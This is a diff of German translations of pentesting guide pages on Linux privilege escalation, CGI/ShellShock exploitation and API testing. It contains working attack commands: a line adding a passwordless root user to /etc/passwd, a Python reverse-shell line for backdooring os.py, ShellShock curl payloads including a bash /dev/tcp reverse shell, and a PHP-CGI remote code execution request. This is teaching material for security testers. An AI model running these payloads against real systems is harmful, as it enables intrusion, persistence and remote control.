`hacker:hacker` verwenden +Du kannst jetzt den Befehl `su` mit `hacker:hacker` verwenden -Alternativ kannst du die folgenden Zeilen verwenden, um einen Dummy-User ohne Passwort hinzuzufügen.\ -WARNUNG: Dies kann die aktuelle Sicherheit der Maschine beeinträchtigen. +Alternativ kannst du die folgenden Zeilen verwenden, um einen Dummy-Benutzer ohne Passwort hinzuzufügen.\ +WARNUNG: Du könntest die aktuelle Sicherheit der Maschine damit beeinträchtigen. ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` -HINWEIS: Auf BSD-Plattformen befindet sich `/etc/passwd` unter `/etc/pwd.db` und `/etc/master.passwd`, außerdem wurde `/etc/shadow` in `/etc/spwd.db` umbenannt. +HINWEIS: Auf BSD-Plattformen befindet sich `/etc/passwd` in `/etc/pwd.db` und `/etc/master.passwd`, außerdem wurde `/etc/shadow` in `/etc/spwd.db` umbenannt. -Sie sollten prüfen, ob Sie **in einige sensible Dateien schreiben** können. Zum Beispiel: Können Sie in eine **Service-Konfigurationsdatei** schreiben? +Du solltest prüfen, ob du **in einigen sensiblen Dateien schreiben** kannst. Zum Beispiel kannst du in eine **Konfigurationsdatei eines Dienstes** schreiben? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user ``` -Zum Beispiel, wenn die Maschine einen **tomcat** Server betreibt und du die **Tomcat-Service-Konfigurationsdatei innerhalb von /etc/systemd/** ändern kannst, dann kannst du die Zeilen ändern: +Zum Beispiel: Wenn die Maschine einen **tomcat**-Server betreibt und du die **Tomcat-Service-Konfigurationsdatei in /etc/systemd/,** ändern kannst, dann kannst du die folgenden Zeilen ändern: ``` ExecStart=/path/to/backdoor User=root Group=root ``` -Deine backdoor wird beim nächsten Start von tomcat ausgeführt. +Dein backdoor wird beim nächsten Start von tomcat ausgeführt. -### Ordner überprüfen +### Verzeichnisse prüfen -Die folgenden Ordner können Backups oder interessante Informationen enthalten: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Wahrscheinlich kannst du den letzten nicht lesen, aber versuche es) +Die folgenden Verzeichnisse können Sicherungen oder interessante Informationen enthalten: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Wahrscheinlich wirst du das letzte nicht lesen können, aber versuche es) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` -### Seltsamer Speicherort/Owned files +### Ungewöhnlicher Ort/Owned files ```bash #root owned files in /home folders find /home -user root 2>/dev/null @@ -1366,7 +1370,7 @@ find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -nam ```bash find / -type f -iname ".*" -ls 2>/dev/null ``` -### **Script/Binaries in PATH** +### **Skripte/Binärdateien im PATH** ```bash for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done @@ -1382,20 +1386,20 @@ ls -alhR /opt/lampp/htdocs/ 2>/dev/null ```bash find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null ``` -### Bekannte Dateien, die Passwörter enthalten +### Bekannte Dateien, die passwords enthalten -Lies den Code von [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), er durchsucht nach **verschiedenen möglichen Dateien, die Passwörter enthalten könnten**.\ -**Ein weiteres interessantes Tool**, das du dafür verwenden kannst, ist: [**LaZagne**](https://github.com/AlessandroZ/LaZagne), welches eine Open-Source-Anwendung ist, die viele auf einem lokalen Computer gespeicherte Passwörter für Windows, Linux & Mac auslesen kann. +Lies den Code von [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), es durchsucht **mehrere mögliche Dateien, die passwords enthalten könnten**.\ +**Ein weiteres interessantes Tool**, das du dafür verwenden kannst, ist: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) welches eine Open-Source-Anwendung ist, die viele auf einem lokalen Rechner gespeicherte passwords für Windows, Linux & Mac ausliest. ### Logs -Wenn du Logs lesen kannst, könntest du **interessante/vertrauliche Informationen darin** finden. Je merkwürdiger das Log ist, desto interessanter dürfte es sein (wahrscheinlich).\ -Außerdem können einige "**schlecht**" konfigurierte (backdoored?) **audit logs** es dir ermöglichen, **Passwörter in den Audit-Logs zu protokollieren**, wie in diesem Beitrag erklärt: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +Wenn du logs lesen kannst, kannst du möglicherweise **interessante/vertrauliche Informationen darin** finden. Je seltsamer das log ist, desto interessanter wird es wahrscheinlich sein.\ +Außerdem können einige "**schlecht**" konfigurierte (backdoored?) **audit logs** es ermöglichen, **passwords** innerhalb der audit logs aufzuzeichnen, wie in diesem Beitrag erklärt: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` -Um **Logs zu lesen**, ist die Gruppe [**adm**](interesting-groups-linux-pe/index.html#adm-group) sehr hilfreich. +Um Logs zu lesen, ist die Gruppe [**adm**](interesting-groups-linux-pe/index.html#adm-group) sehr hilfreich. ### Shell-Dateien ```bash @@ -1410,41 +1414,39 @@ Um **Logs zu lesen**, ist die Gruppe [**adm**](interesting-groups-linux-pe/index ``` ### Generic Creds Search/Regex -Du solltest auch nach Dateien suchen, die das Wort "**password**" im **Namen** oder im **Inhalt** enthalten, und außerdem nach IPs und emails in logs sowie nach hashes regexps.\ -Ich werde hier nicht auflisten, wie man das alles macht, aber falls du interessiert bist, kannst du dir die letzten Prüfungen ansehen, die [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) perform. +Du solltest außerdem nach Dateien suchen, die das Wort "**password**" im **Namen** oder im **Inhalt** enthalten, und auch in Logs nach IPs und emails oder nach hashes regexps suchen.\ +Ich werde hier nicht aufzählen, wie man das alles macht, aber wenn du interessiert bist, kannst du dir die letzten Checks ansehen, die [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) ausführt. ## Schreibbare Dateien ### Python library hijacking -If you know from **where** a python script is going to be executed and you **can write inside** that folder or you can **modify python libraries**, you can modify the OS library and backdoor it (if you can write where python script is going to be executed, copy and paste the os.py library). - -To **backdoor the library** just add at the end of the os.py library the following line (change IP and PORT): +Wenn du weißt, von **wo** ein python-Skript ausgeführt wird und du in diesen Ordner **schreiben kannst** oder die **python libraries** ändern kannst, kannst du die OS library modifizieren und sie backdooren (wenn du dort schreiben kannst, wo das python-Skript ausgeführt wird, kopiere und füge die os.py library ein). ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` ### Logrotate exploitation -Eine Schwachstelle in `logrotate` erlaubt es Benutzern mit **Schreibberechtigungen** auf eine Logdatei oder deren übergeordnete Verzeichnisse, möglicherweise Privilegien zu eskalieren. Das liegt daran, dass `logrotate`, das oft als **root** läuft, manipuliert werden kann, um beliebige Dateien auszuführen, besonders in Verzeichnissen wie _**/etc/bash_completion.d/**_. Es ist wichtig, Berechtigungen nicht nur in _/var/log_ zu prüfen, sondern auch in jedem Verzeichnis, in dem Logrotation angewendet wird. +Eine Schwachstelle in `logrotate` ermöglicht es Benutzern mit **Schreibrechten** an einer Logdatei oder deren übergeordneten Verzeichnissen, unter Umständen erhöhte Privilegien zu erlangen. Das liegt daran, dass `logrotate`, das häufig als **root** läuft, so manipuliert werden kann, dass beliebige Dateien ausgeführt werden, insbesondere in Verzeichnissen wie _**/etc/bash_completion.d/**_. Es ist wichtig, die Berechtigungen nicht nur in _/var/log_ zu prüfen, sondern auch in jedem Verzeichnis, in dem Logrotation angewendet wird. > [!TIP] > Diese Schwachstelle betrifft `logrotate` Version `3.18.0` und ältere -Detailliertere Informationen zur Schwachstelle finden Sie auf dieser Seite: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). +Weitere detaillierte Informationen zur Schwachstelle finden Sie auf dieser Seite: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). Diese Schwachstelle kann mit [**logrotten**](https://github.com/whotwagner/logrotten) ausgenutzt werden. -Diese Schwachstelle ist sehr ähnlich zu [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** daher, wenn Sie feststellen, dass Sie Logs ändern können, prüfen Sie, wer diese Logs verwaltet, und ob Sie Privilegien eskalieren können, indem Sie die Logs durch Symlinks ersetzen. +Diese Schwachstelle ähnelt sehr [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** daher sollten Sie, wenn Sie Logdateien verändern können, prüfen, wer diese Logs verwaltet und ob Sie durch Ersetzen der Logs durch Symlinks Privilegien eskalieren können. ### /etc/sysconfig/network-scripts/ (Centos/Redhat) **Vulnerability reference:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -Wenn ein Benutzer aus welchem Grund auch immer in der Lage ist, ein `ifcf-`-Script nach _/etc/sysconfig/network-scripts_ zu **schreiben** **oder** ein bestehendes **anzupassen**, dann ist Ihr **system is pwned**. +Wenn ein Benutzer aus irgendwelchen Gründen ein `ifcf-`-Skript nach _/etc/sysconfig/network-scripts_ **schreiben** oder ein vorhandenes **anpassen** kann, dann ist Ihr **system is pwned**. -Network scripts, _ifcg-eth0_ zum Beispiel werden für Netzwerkverbindungen verwendet. Sie sehen genau aus wie .INI-Dateien. Allerdings werden sie unter Linux vom Network Manager (dispatcher.d) \~sourced\~. +Network scripts, _ifcg-eth0_ zum Beispiel, werden für Netzwerkverbindungen verwendet. Sie sehen genau wie .INI-Dateien aus. Allerdings werden sie unter Linux von Network Manager (dispatcher.d) quasi \~sourced\~. -In meinem Fall wird das `NAME=`-Attribut in diesen Network-Scripts nicht korrekt behandelt. **Wenn Sie Leerzeichen im Namen haben, versucht das System, den Teil nach dem Leerzeichen auszuführen.** Das bedeutet, dass **alles nach dem ersten Leerzeichen als root ausgeführt wird**. +In meinem Fall wird das Attribut `NAME=` in diesen Netzwerk-Skripten nicht korrekt behandelt. **Wenn Sie Leerzeichen im Namen haben, versucht das System, den Teil nach dem Leerzeichen auszuführen.** Das bedeutet, dass **alles nach dem ersten Leerzeichen als root ausgeführt wird**. For example: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash @@ -1454,15 +1456,15 @@ DEVICE=eth0 ``` (_Beachte das Leerzeichen zwischen Network und /bin/id_) -### **init, init.d, systemd und rc.d** +### **init, init.d, systemd, and rc.d** -Das Verzeichnis `/etc/init.d` beherbergt **scripts** für System V init (SysVinit), das **klassische Linux service management system**. Es enthält scripts, um Services mit `start`, `stop`, `restart` und manchmal `reload` zu steuern. Diese können direkt ausgeführt werden oder über symbolische Links in `/etc/rc?.d/`. Ein alternativer Pfad in Redhat-Systemen ist `/etc/rc.d/init.d`. +Das Verzeichnis `/etc/init.d` enthält **Skripte** für System V init (SysVinit), das **klassische Linux-Service-Management-System**. Es beinhaltet Skripte zum `start`, `stop`, `restart` und manchmal `reload` von Services. Diese können direkt ausgeführt oder über symbolische Links in `/etc/rc?.d/` aufgerufen werden. Ein alternativer Pfad in Redhat-Systemen ist `/etc/rc.d/init.d`. -Andererseits ist `/etc/init` mit **Upstart** verbunden, einem neueren **service management**, das von Ubuntu eingeführt wurde und Konfigurationsdateien für Service-Aufgaben verwendet. Trotz des Wechsels zu Upstart werden SysVinit-Skripte weiterhin neben Upstart-Konfigurationen verwendet, aufgrund einer Kompatibilitätsschicht in Upstart. +Demgegenüber steht `/etc/init`, das mit **Upstart** verknüpft ist — einem neueren **Service-Management**, das von Ubuntu eingeführt wurde und Konfigurationsdateien für die Dienstverwaltung verwendet. Trotz der Umstellung auf Upstart werden SysVinit-Skripte weiterhin zusammen mit Upstart-Konfigurationen verwendet, da Upstart eine Kompatibilitätsschicht bietet. -**systemd** ist ein moderner Init- und Service-Manager, der erweiterte Funktionen wie bedarfsorientiertes Starten von Daemons, Automount-Management und Systemzustands-Snapshots bietet. Es organisiert Dateien in `/usr/lib/systemd/` für Distributionspakete und in `/etc/systemd/system/` für Änderungen durch Administratoren und vereinfacht so die Systemadministration. +**systemd** ist ein moderner Init- und Service-Manager, der erweiterte Funktionen wie bedarfsbasiertes Starten von Daemons, automount-Verwaltung und Systemzustands-Snapshots bietet. Es organisiert Dateien in `/usr/lib/systemd/` für Distribution-Pakete und `/etc/systemd/system/` für Administratoranpassungen, wodurch die Systemverwaltung vereinfacht wird. -## Weitere Tricks +## Other Tricks ### NFS Privilege escalation @@ -1487,7 +1489,7 @@ cisco-vmanage.md ## Android rooting frameworks: manager-channel abuse -Android rooting frameworks hooken häufig einen syscall, um privilegierte Kernel-Funktionalität einem userspace manager zugänglich zu machen. Eine schwache Manager-Authentifizierung (z. B. Signature-Checks basierend auf FD-order oder schlechte Passwortschemata) kann einer lokalen App ermöglichen, den Manager zu imitieren und auf bereits gerooteten Geräten root-Rechte zu erlangen. Mehr Informationen und Exploit-Details hier: +Android rooting frameworks hooken häufig einen syscall, um privilegierte Kernel-Funktionalität einem Userspace-Manager zugänglich zu machen. Schwache Manager-Authentifizierung (z. B. Signature-Checks basierend auf FD-order oder schlechte Passwortschemata) kann einer lokalen App erlauben, den Manager zu imitieren und auf bereits gerooteten Geräten zu root zu eskalieren. Mehr Informationen und Exploit-Details hier: {{#ref}} @@ -1496,9 +1498,9 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md ## VMware Tools service discovery LPE (CWE-426) via regex-based exec (CVE-2025-41244) -Regex-gesteuerte service discovery in VMware Tools/Aria Operations kann einen Binary-Pfad aus Prozess-Kommandozeilen extrahieren und diesen mit -v in einem privilegierten Kontext ausführen. Freizügige Patterns (z. B. Verwendung von \S) können auf vom Angreifer platzierte Listener in beschreibbaren Verzeichnissen (z. B. /tmp/httpd) passen, was zur Ausführung als root führt (CWE-426 Untrusted Search Path). +Regex-gesteuerte Service-Discovery in VMware Tools/Aria Operations kann einen Binärpfad aus Prozess-Commandlines extrahieren und diesen unter einem privilegierten Kontext mit -v ausführen. Freizügige Muster (z. B. mit \S) können auf von Angreifern bereitgestellte Listener in beschreibbaren Orten (z. B. /tmp/httpd) matchen, was zur Ausführung als root führt (CWE-426 Untrusted Search Path). -Mehr dazu und ein generalisiertes Muster, das auf andere discovery/monitoring stacks anwendbar ist, siehe hier: +Mehr Informationen und ein generalisiertes Muster, das auf andere Discovery-/Monitoring-Stacks anwendbar ist, hier: {{#ref}} vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md @@ -1509,24 +1511,24 @@ vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md - [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check) - [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map) -## Mehr Hilfe +## More help [Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) ## Linux/Unix Privesc Tools -### **Bestes Tool, um lokale Linux privilege escalation vectors zu finden:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) +### **Best tool to look for Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) **LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t option)\ **Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\ **Unix Privesc Check:** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\ **Linux Priv Checker:** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\ **BeeRoot:** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\ -**Kernelpop:** Enumerate kernel vulns in Linux und MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ +**Kernelpop:** Enumerate kernel vulns ins linux and MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ **Mestaploit:** _**multi/recon/local_exploit_suggester**_\ **Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\ **EvilAbigail (physical access):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ -**Zusammenstellung weiterer Skripte**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) +**Recopilation of more scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) ## References diff --git a/src/network-services-pentesting/pentesting-web/cgi.md b/src/network-services-pentesting/pentesting-web/cgi.md index 00ec1da30..2808769fa 100644 --- a/src/network-services-pentesting/pentesting-web/cgi.md +++ b/src/network-services-pentesting/pentesting-web/cgi.md @@ -5,26 +5,26 @@ ## Informationen -Die **CGI-Skripte sind Perl-Skripte**, daher kannst du, wenn du einen Server kompromittiert hast, der _**.cgi**_ Skripte ausführen kann, eine **perl reverse shell** hochladen (`/usr/share/webshells/perl/perl-reverse-shell.pl`), die **Erweiterung** von **.pl** zu **.cgi** ändern, **Ausführungsrechte** (`chmod +x`) setzen und die Reverse-Shell **vom Webbrowser aus** aufrufen, um sie auszuführen. -Um auf **CGI vulns** zu testen, wird empfohlen `nikto -C all` \(und alle Plugins\) zu verwenden. +Die **CGI scripts sind perl scripts**, daher kannst du, wenn du einen Server kompromittiert hast, der _**.cgi**_ Skripte ausführen kann, eine **perl reverse shell** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\) hochladen, die **Dateiendung** von **.pl** auf **.cgi** ändern, **Ausführungsrechte** setzen \(`chmod +x`\) und die Reverse-Shell **über den Webbrowser** aufrufen, um sie auszuführen. +Um auf **CGI vulns** zu testen, empfiehlt sich `nikto -C all` \(und alle Plugins\) ## **ShellShock** -**ShellShock** ist eine **Schwachstelle**, die die weit verbreitete **Bash** Kommandozeile in Unix-basierten Betriebssystemen betrifft. Sie zielt auf die Fähigkeit von Bash ab, Befehle auszuführen, die von Anwendungen übergeben werden. Die Schwachstelle liegt in der Manipulation von **Umgebungsvariablen**, das sind dynamische benannte Werte, die beeinflussen, wie Prozesse auf einem Rechner laufen. Angreifer können dies ausnutzen, indem sie **bösartigen Code** an Umgebungsvariablen anhängen, der beim Empfangen der Variable ausgeführt wird. Dadurch können Angreifer potenziell das System kompromittieren. +**ShellShock** ist eine **Schwachstelle**, die die weit verbreitete **Bash** Kommandozeile in Unix-basierten Betriebssystemen betrifft. Sie zielt auf die Fähigkeit von Bash, von Anwendungen übergebene Befehle auszuführen. Die Schwachstelle liegt in der Manipulation von **Umgebungsvariablen**, das sind dynamische benannte Werte, die beeinflussen, wie Prozesse auf einem Rechner ausgeführt werden. Angreifer können dies ausnutzen, indem sie **bösartigen Code** an Umgebungsvariablen anhängen, der beim Empfangen der Variablen ausgeführt wird. Dadurch können Angreifer potenziell das System kompromittieren. -Beim Ausnutzen dieser Schwachstelle könnte die Seite einen Fehler ausgeben. +Beim Ausnutzen dieser Schwachstelle kann die Seite einen Fehler zurückgeben. -Du könntest diese Schwachstelle finden, indem du bemerkst, dass eine alte **Apache**-Version und **cgi_mod** \(mit einem cgi-Ordner\) verwendet werden, oder indem du **nikto** einsetzt. +Du kannst diese Schwachstelle finden, indem du bemerkst, dass eine **alte Apache-Version** und **cgi_mod** (mit cgi Ordner) verwendet wird, oder indem du **nikto** einsetzt. ### **Test** -Die meisten Tests basieren darauf, etwas zu echoen und zu erwarten, dass diese Zeichenkette in der Web-Antwort zurückkommt. Wenn du denkst, dass eine Seite verwundbar sein könnte, suche alle **cgi**-Seiten und teste sie. +Die meisten Tests basieren darauf, mit echo etwas auszugeben und zu erwarten, dass dieser String in der Webantwort zurückkommt. Wenn du denkst, eine Seite könnte verwundbar sein, suche alle cgi-Seiten und teste sie. **Nmap** ```bash nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi ``` -## **Curl \(reflected, blind und out-of-band\)** +## **Curl \(reflected, blind and out-of-band\)** ```bash # Reflected curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE' @@ -51,15 +51,15 @@ curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' htt > set rhosts 10.1.2.11 > run ``` -## Zentralisierte CGI-Dispatcher (Routing eines einzelnen Endpunkts über Selector-Parameter) +## Centralized CGI dispatchers (single endpoint routing via selector parameters) -Viele embedded Web-UIs bündeln Dutzende privilegierter Aktionen hinter einem einzelnen CGI-Endpunkt (zum Beispiel `/cgi-bin/cstecgi.cgi`) und verwenden einen Selector-Parameter wie `topicurl=`, um die Anfrage an eine interne Funktion zu routen. +Viele eingebettete Web-UIs multiplexen Dutzende privilegierte Aktionen hinter einem einzigen CGI-Endpoint (zum Beispiel `/cgi-bin/cstecgi.cgi`) und verwenden einen Selector-Parameter wie `topicurl=`, um die Anfrage an eine interne Funktion zu routen. -Vorgehensweise zur Ausnutzung dieser Router: +Methodik, um diese Router auszunutzen: -- Enumerate handler names: JS/HTML scrapen, mit wordlists brute-forcen oder Firmware entpacken und mit grep nach Handler-Strings suchen, die vom Dispatcher verwendet werden. -- Test unauthenticated reachability: einige Handler vergessen auth-Checks und sind direkt aufrufbar. -- Focus on handlers that invoke system utilities or touch files; schwache Validatoren blockieren oft nur wenige Zeichen und übersehen möglicherweise das führende `-`. +- Handler-Namen enumerieren: JS/HTML scrapen, brute-force mit wordlists, oder Firmware entpacken und nach Handler-Strings grep'en, die vom Dispatcher verwendet werden. +- Unauthentifizierte Erreichbarkeit testen: Manche Handler vergessen Auth-Checks und sind direkt aufrufbar. +- Auf Handler fokussieren, die system utilities aufrufen oder Dateien berühren; schwache Validatoren blockieren oft nur wenige Zeichen und übersehen möglicherweise den führenden Hyphen `-`. Generische Exploit-Muster: ```http @@ -77,28 +77,28 @@ topicurl=setWizardCfg&=/etc/init.d/S99rc ``` Erkennung und Härtung: -- Achte auf unauthentifizierte Requests an zentralisierte CGI-Endpunkte, bei denen `topicurl` auf sensitive Handler gesetzt ist. -- Markiere Parameter, die mit `-` beginnen (argv option injection attempts). -- Vendors: erzwinge Authentifizierung für alle zustandsverändernden Handler, validiere mittels strikten Allowlists/Typen/Längen und übergib niemals von Benutzern kontrollierte Strings als Kommandozeilen-Flags. +- Achten Sie auf unauthentifizierte Anfragen an zentralisierte CGI-Endpunkte mit `topicurl`, die auf sensible Handler zeigen. +- Markiere Parameter, die mit `-` beginnen (Versuche einer argv-Optionen-Injektion). +- Anbieter: Erzwingen Sie Authentifizierung für alle zustandsändernden Handler, validieren Sie mittels strikter Allowlists/Typen/Längen und übergeben Sie niemals vom Benutzer kontrollierte Zeichenketten als Kommandozeilen-Flags. ## Altes PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\) -Grundsätzlich: wenn CGI aktiv ist und PHP "alt" \(<5.3.12 / < 5.4.2\), kannst du Code ausführen. -Um diese Schwachstelle auszunutzen, musst du auf eine PHP-Datei des Webservers zugreifen, ohne Parameter zu senden \(insbesondere ohne das Zeichen "="\). -Um die Schwachstelle zu testen, könntest du zum Beispiel `/index.php?-s` aufrufen \(achte auf das `-s`\) und **der Quellcode der Anwendung wird in der Antwort erscheinen**. +Grundsätzlich: Wenn cgi aktiv ist und PHP "alt" \(<5.3.12 / < 5.4.2\), kann Code ausgeführt werden. +Um diese Schwachstelle auszunutzen, muss auf eine PHP-Datei des Webservers zugegriffen werden, ohne Parameter zu senden \(insbesondere ohne das Zeichen "=" zu senden\). +Um die Schwachstelle zu testen, kann man z. B. `/index.php?-s` aufrufen \(beachte `-s`\) und **der Quellcode der Anwendung erscheint in der Antwort**. -Um dann **RCE** zu erlangen, kannst du diese spezielle Anfrage senden: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` und der **PHP code** wird im **body of the request** ausgeführt. +Um **RCE** zu erreichen, kann folgende spezielle Anfrage gesendet werden: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` und der **PHP code** wird im **Body der Anfrage** ausgeführt. Beispiel: ```bash curl -i --data-binary "" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input" ``` -**Mehr Infos über die vuln und möglichen exploits:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.** +**Mehr Informationen über die vuln und mögliche exploits:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.** -## **Proxy \(MitM to Web server requests\)** +## **Proxy \(MitM an Webserver-Anfragen\)** -CGI legt für jeden header in der http request eine Umgebungsvariable an. Zum Beispiel: "host:web.com" wird zu "HTTP_HOST"="web.com" +CGI erstellt eine Umgebungsvariable für jeden Header in der HTTP-Anfrage. Zum Beispiel: "host:web.com" wird als "HTTP_HOST"="web.com" angelegt. -Da die HTTP_PROXY-Variable vom Webserver verwendet werden könnte, versuche einen **header** zu senden, der folgendes enthält: "**Proxy: <IP_attacker>:<PORT>**". Führt der Server während der Session eine Anfrage aus, kannst du jede vom Server ausgeführte Anfrage abfangen. +Da die Variable HTTP_PROXY vom Webserver verwendet werden kann, versuche einen **Header** zu senden, der folgendes enthält: "**Proxy: <IP_attacker>:<PORT>**". Wenn der Server während der Session irgendwelche Requests ausführt, kannst du jede vom Server getätigte Anfrage mitschneiden. ## **Referenzen** diff --git a/src/network-services-pentesting/pentesting-web/web-api-pentesting.md b/src/network-services-pentesting/pentesting-web/web-api-pentesting.md index 396acbc0e..f4a276f7b 100644 --- a/src/network-services-pentesting/pentesting-web/web-api-pentesting.md +++ b/src/network-services-pentesting/pentesting-web/web-api-pentesting.md @@ -2,54 +2,96 @@ {{#include ../../banners/hacktricks-training.md}} -## API Pentesting Methodology Summary +## API Pentesting Methodik — Zusammenfassung -Pentesting von APIs erfordert einen strukturierten Ansatz zur Aufdeckung von Schwachstellen. Dieser Leitfaden fasst eine umfassende Methodik zusammen, die praktische Techniken und Werkzeuge betont. +Das Pentesting von APIs erfordert einen strukturierten Ansatz zur Aufdeckung von Schwachstellen. Dieser Leitfaden fasst eine umfassende Methodik zusammen und legt den Schwerpunkt auf praktische Techniken und Tools. -### **Understanding API Types** +### **Verständnis der API-Typen** -- **SOAP/XML Web Services**: Nutzen das WSDL-Format für die Dokumentation, typischerweise zu finden unter `?wsdl`-Pfaden. Werkzeuge wie **SOAPUI** und **WSDLer** (Burp Suite Extension) sind entscheidend für das Parsen und Generieren von Anfragen. Beispielhafte Dokumentation ist zugänglich unter [DNE Online](http://www.dneonline.com/calculator.asmx). -- **REST APIs (JSON)**: Dokumentation kommt oft in WADL-Dateien, jedoch bieten Werkzeuge wie [Swagger UI](https://swagger.io/tools/swagger-ui/) eine benutzerfreundlichere Schnittstelle für die Interaktion. **Postman** ist ein wertvolles Werkzeug zum Erstellen und Verwalten von Beispielanfragen. -- **GraphQL**: Eine Abfragesprache für APIs, die eine vollständige und verständliche Beschreibung der Daten in Ihrer API bietet. +- **SOAP/XML Web Services**: Verwenden das WSDL-Format für die Dokumentation, typischerweise unter `?wsdl`-Pfaden zu finden. Tools wie **SOAPUI** und **WSDLer** (Burp Suite Extension) sind beim Parsen und Erzeugen von Anfragen hilfreich. Beispiel-Dokumentation ist erreichbar unter [DNE Online](http://www.dneonline.com/calculator.asmx). +- **REST APIs (JSON)**: Die Dokumentation liegt häufig in WADL-Dateien vor, jedoch bieten Tools wie [Swagger UI](https://swagger.io/tools/swagger-ui/) eine benutzerfreundlichere Oberfläche zur Interaktion. **Postman** ist ein wertvolles Tool zum Erstellen und Verwalten von Beispielanfragen. +- **GraphQL**: Eine Query-Sprache 